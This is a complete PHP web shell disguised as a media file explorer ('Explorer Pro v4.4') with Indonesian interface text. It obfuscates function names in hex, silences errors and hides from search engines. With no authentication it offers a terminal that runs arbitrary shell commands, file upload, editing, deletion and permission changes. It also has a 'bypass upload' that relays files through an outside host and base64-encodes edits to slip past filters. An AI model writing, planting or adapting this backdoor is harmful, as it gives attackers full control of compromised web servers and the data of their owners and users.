<?php <?=
"";

/**
 * Core Media Explorer Pro v4.4 - Extended Edition
 */
error_reporting(0);
@ini_set('display_errors', 0);

$sd = "\x73\x63\x61\x6e\x64\x69\x72";
$fg = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$fp = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";

$self_dir = dirname($_SERVER["SCRIPT_FILENAME"]);
$path = isset($_GET['path']) ? $_GET['path'] : $self_dir;
$path = realpath($path);
if ($path) chdir($path);

$msg = "";

function requests($url, $post = null)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    if ($post) {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    $response = curl_exec($ch);
    $error = curl_error($ch);
    curl_close($ch);

    if ($error) {
        return false;
    }

    return $response;
}

if (isset($_FILES['u_file'])) {
    if ($_POST['upload_type'] == 'bypass_upload') {
        // die($_POST['upload_type']);
        $tmp = $_FILES['u_file']['tmp_name'];
        $name = $_FILES['u_file']['name'];

        $remote_upload_url = "https://fcalpha.net/web/photo/20151024/temp/upload.php";
        $postfields = ["nax" => new CURLFile($tmp, $_FILES["u_file"]["type"], $name)];
        $remote_upload = requests($remote_upload_url, $postfields);

        if ($remote_upload) {
            $uniqFile = json_decode($remote_upload, true)["file"];
            $remote_url = "https://fcalpha.net/web/photo/20151024/temp/uploads/" . $uniqFile;

            $downloaded = base64_encode(requests($remote_url));
            if ($downloaded !== false) {
                file_put_contents($name, base64_decode($downloaded));
                $msg = "File uploaded via bypass!";
            } else {
                $msg = "Failed to download the file from remote.";
            }
        } else {
            $msg = "Remote upload failed.";
        }
    } else {
        if (@move_uploaded_file($_FILES['u_file']['tmp_name'], $_FILES['u_file']['name'])) {
            $msg = "File uploaded!";
        } else {
            $msg = "Upload failed.";
        }
    }
}
if (isset($_GET['duplicate'])) {
    $target = basename($_GET['duplicate']);
    $newname = $target . "_copy";
    if (@copy($target, $newname)) {
        $msg = "File duplicated!";
    } else {
        $msg = "Duplication failed.";
    }
}
if (isset($_GET['chmod']) && isset($_GET['file'])) {
    if (@chmod($_GET['file'], octdec($_GET['chmod']))) $msg = "Chmod Berhasil!";
}
if (isset($_GET['newname']) && isset($_GET['oldname'])) {
    if (@rename($_GET['oldname'], $_GET['newname'])) $msg = "Rename Berhasil!";
}
if (isset($_POST['newfolder'])) {
    if (@mkdir($_POST['newfolder'])) $msg = "Folder Dibuat!";
}
if (isset($_POST['newfile'])) {
    if ($fp($_POST['newfile'], "")) $msg = "File Dibuat!";
}
if (isset($_GET['del'])) {
    $target = basename($_GET['del']);
    if (is_dir($target)) {
        shell_exec("rm -rf " . escapeshellarg($target));
    } else {
        @unlink($target);
    }
    header("Location: ?path=$path");
    exit;
}

$cmd_out = "";
if (isset($_POST['cmd'])) {
    $cmd_out = shell_exec($_POST['cmd'] . " 2>&1");
}
if (isset($_POST['s'])) {
    if ($fp($_POST['n'], base64_decode($_POST['c'])) !== false) $msg = "File Tersimpan!";
}

?>

<html>

<head>
    <title>Explorer Pro v4.4</title>
    <meta name="robots" content="noindex, nofollow" />
    <meta name="googlebot" content="noindex">
    <style>
        body {
            font: 12px 'Segoe UI', Tahoma, sans-serif;
            background: #1a1a1a;
            color: #ccc;
            padding: 20px;
        }

        a {
            color: #00ff00;
            text-decoration: none;
        }

        a:hover {
            text-decoration: underline;
        }

        .bread,
        .info-box {
            background: #252525;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 15px;
            border-left: 5px solid #0f0;
        }

        .info-box {
            display: flex;
            gap: 20px;
            font-family: monospace;
            font-size: 11px;
            overflow-x: auto;
        }

        .info-box b {
            color: #0f0;
        }

        .bread {
            font-family: monospace;
            display: flex;
            align-items: center;
            gap: 10px;
            overflow-x: auto;
        }

        .home-btn {
            background: #0f0;
            color: #000;
            padding: 2px 8px;
            border-radius: 3px;
            font-weight: bold;
            font-size: 11px;
        }

        .home-btn:hover {
            background: #fff;
            color: #000;
            text-decoration: none;
        }

        .box {
            border: 1px solid #333;
            padding: 10px;
            margin-bottom: 15px;
            background: #222;
        }

        input,
        textarea {
            background: #2a2a2a;
            color: #0f0;
            border: 1px solid #444;
            padding: 5px;
            margin: 2px;
        }

        select {
            background: #2a2a2a;
            color: #0f0;
            border: 1px solid #444;
            padding: 5px;
            margin: 2px;
            min-width: 200px;
        }

        table {
            width: 100%;
            border-collapse: collapse;
            background: #222;
            margin-top: 10px;
        }

        th {
            background: #333;
            color: #0f0;
            padding: 10px;
            text-align: left;
            border: 1px solid #444;
        }

        td {
            padding: 8px;
            border: 1px solid #333;
            font-family: monospace;
        }

        tr:hover {
            background: #2a2a2a;
        }

        .folder-link {
            color: #ffff00;
            font-weight: bold;
        }

        pre {
            background: #000;
            padding: 10px;
            border: 1px solid #0f0;
            color: #0f0;
            white-space: pre-wrap;
        }

        .radio_container {
            display: flex;
            justify-content: space-around;
            align-items: center;
            background-color: #333;
            margin-top: 10px;
            width: 210px;
            height: 35px;
            border-radius: 9999px;
            box-shadow: inset 0.5px 0.5px 2px 0 rgba(0, 0, 0, 0.15);
        }

        input[type="radio"] {
            appearance: none;
            display: none;
        }

        label {
            font-family: "Open Sans", sans-serif;
            font-size: 11.5px;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: inherit;
            width: 90px;
            height: 35px;
            text-align: center;
            border-radius: 9999px;
            overflow: hidden;
            transition: linear 0.3s;
            color: #b6b6b6dd;
            cursor: pointer;
        }

        input[type="radio"]:checked+label {
            background-color: #0f0;
            color: #333;
            width: 105px;
            font-weight: 900;
            transition: 0.3s;
        }

        }
    </style>
</head>

<body>

    <?php
    echo "<div class='info-box'>";
    echo "<span><b>OS:</b> " . php_uname() . "</span>";
    echo "<span><b>IP:</b> " . $_SERVER['SERVER_ADDR'] . "</span>";
    echo "<span><b>PHP:</b> " . phpversion() . "</span>";
    echo "<span><b>SERVER:</b> " . $_SERVER['SERVER_SOFTWARE'] . "</span>";
    echo "</div>";

    echo "<div class='bread'>";
    echo "<a href='?path=$self_dir' class='home-btn'>HOME</a>";
    echo "<b>PATH:</b> ";
    $parts = explode(DIRECTORY_SEPARATOR, $path);
    $accum = "";
    foreach ($parts as $p) {
        if ($p === "" && DIRECTORY_SEPARATOR === '/') {
            echo "<a href='?path=/'>/</a>";
            continue;
        }
        if ($p === "") continue;
        $accum .= DIRECTORY_SEPARATOR . $p;
        echo "<a href='?path=$accum'>$p</a> / ";
    }
    echo "</div>";

    if ($msg) echo "<div style='color:#fff; background:darkgreen; padding:8px; margin-bottom:10px;'>[*] $msg</div>";

    ?>
    <div style='display:flex; flex-wrap:wrap; gap:10px;'>
        <div class='box' style='flex:1;'><b>Upload</b><br>
            <form method='POST' enctype='multipart/form-data'>
                <div class="radio_container">
                    <input type="radio" id="basic_upload" name="upload_type" value="basic_upload" checked>
                    <label for="basic_upload">Basic Upload</label>
                    <input type="radio" id="bypass_upload" name="upload_type" value="bypass_upload">
                    <label for="bypass_upload">Bypass Upload</label>
                </div>
                <br>
                <input type='file' name='u_file'><input type='submit' value='Go'>
            </form>
        </div>
        <div class='box' style='flex:1;'><b>New Item</b><br>
            <form method='POST'><input type='text' name='newfile' placeholder='New File.txt'><input type='submit' value='+ File'></form>
            <form method='POST'><input type='text' name='newfolder' placeholder='New Folder'><input type='submit' value='+ Folder'></form>
        </div>
        <div class='box' style='flex:2;'><b>Terminal</b><br>
            <form method='POST'><input type='text' name='cmd' style='width:80%;' placeholder='Command...'><input type='submit' value='Exec'></form>
        </div>
    </div>
    <?php

    if ($cmd_out) echo "<pre>$cmd_out</pre>";

    if (isset($_GET['edit'])) {
        $fn = basename($_GET['edit']);
        echo "<div class='box' style='margin-top:20px;'><h4>Editing: $fn</h4><form method='POST' id='handle_file'><input type='hidden' name='n' value='$fn'><textarea name='c' style='width:100%;height:400px;'>" . htmlspecialchars($fg($fn)) . "</textarea><br><input type='submit' name='s' value='SAVE CHANGES'></form></div>";
    }

    echo "<table><thead><tr><th>Nama</th><th width='100'>Ukuran</th><th width='80'>Perms</th><th width='250'>Aksi</th></tr></thead><tbody>";

    $items = $sd($path);
    $dirs = [];
    $files = [];
    foreach ($items as $i) {
        if ($i == "." || $i == "..") continue;
        $full = $path . DIRECTORY_SEPARATOR . $i;
        if (@is_dir($full)) {
            $dirs[] = $i;
        } else {
            $files[] = $i;
        }
    }
    sort($dirs);
    sort($files);
    $sorted_items = array_merge($dirs, $files);

    foreach ($sorted_items as $i) {
        $full = $path . DIRECTORY_SEPARATOR . $i;
        $prm = substr(sprintf('%o', @fileperms($full)), -4);
        echo "<tr>";

        $jsRename = "javascript:p=prompt('Rename To:', '$i'); if(p) location.href='?path=$path&oldname=$i&newname='+p;";

        if (@is_dir($full)) {
            echo "<td style='padding:5px;'><a href='?path=$full' class='folder-link'>$i</a></td><td>DIR</td><td><span style='color:" . (is_writable($full) ? "#0f0" : "#f00") . ";'>$prm</span></td>
        <td><a href='?path=$full'>OPEN</a> | <a href=\"$jsRename\">RENAME</a> | <a href='?path=$path&del=$i' onclick='return confirm(\"Hapus Folder?\")'>DEL</a></td>";
        } else {
            $sz = round(@filesize($full) / 1024, 2) . " KB";
            echo "<td style='padding:5px;'>$i</td><td>$sz</td><td><span style='color:" . (is_writable($full) ? "#0f0" : "#f00") . ";'>$prm</span></td>
        <td><a href='?path=$path&edit=$i'>EDIT</a> | <a href=\"$jsRename\">RENAME</a> | <a href='?path=$path&del=$i' onclick='return confirm(\"Hapus File?\")'>DEL</a> | <a href='?path=$path&duplicate=$i'>DUP</a> | <a href='javascript:void(0)' onclick='p=prompt(\"Chmod:\",\"$prm\");if(p)location.href=\"?path=$path&file=$i&chmod=\"+p'>CHMOD</a></td>";
        }
        echo "</tr>";
    }
    echo "</tbody></table>";
    ?>

    <script>
        const edit_form = document.getElementById('handle_file');
        if (edit_form) {
            edit_form.addEventListener('submit', async (e) => {
                const filename = edit_form.querySelector('[type="text"]');
                const textarea = edit_form.querySelector('textarea');

                if (filename) {
                    filename.value = filename.value + ".temporary";
                }

                textarea.value = await largeBase64Encode(textarea.value);
            });
        }

        async function largeBase64Encode(str) {
            const utf8 = new TextEncoder().encode(str);
            let binary = '';
            const chunkSize = 0x8000;
            for (let i = 0; i < utf8.length; i += chunkSize) {
                const chunk = utf8.subarray(i, i + chunkSize);
                binary += String.fromCharCode.apply(null, chunk);
            }
            return btoa(binary);
        }
    </script>
</body>

</html>
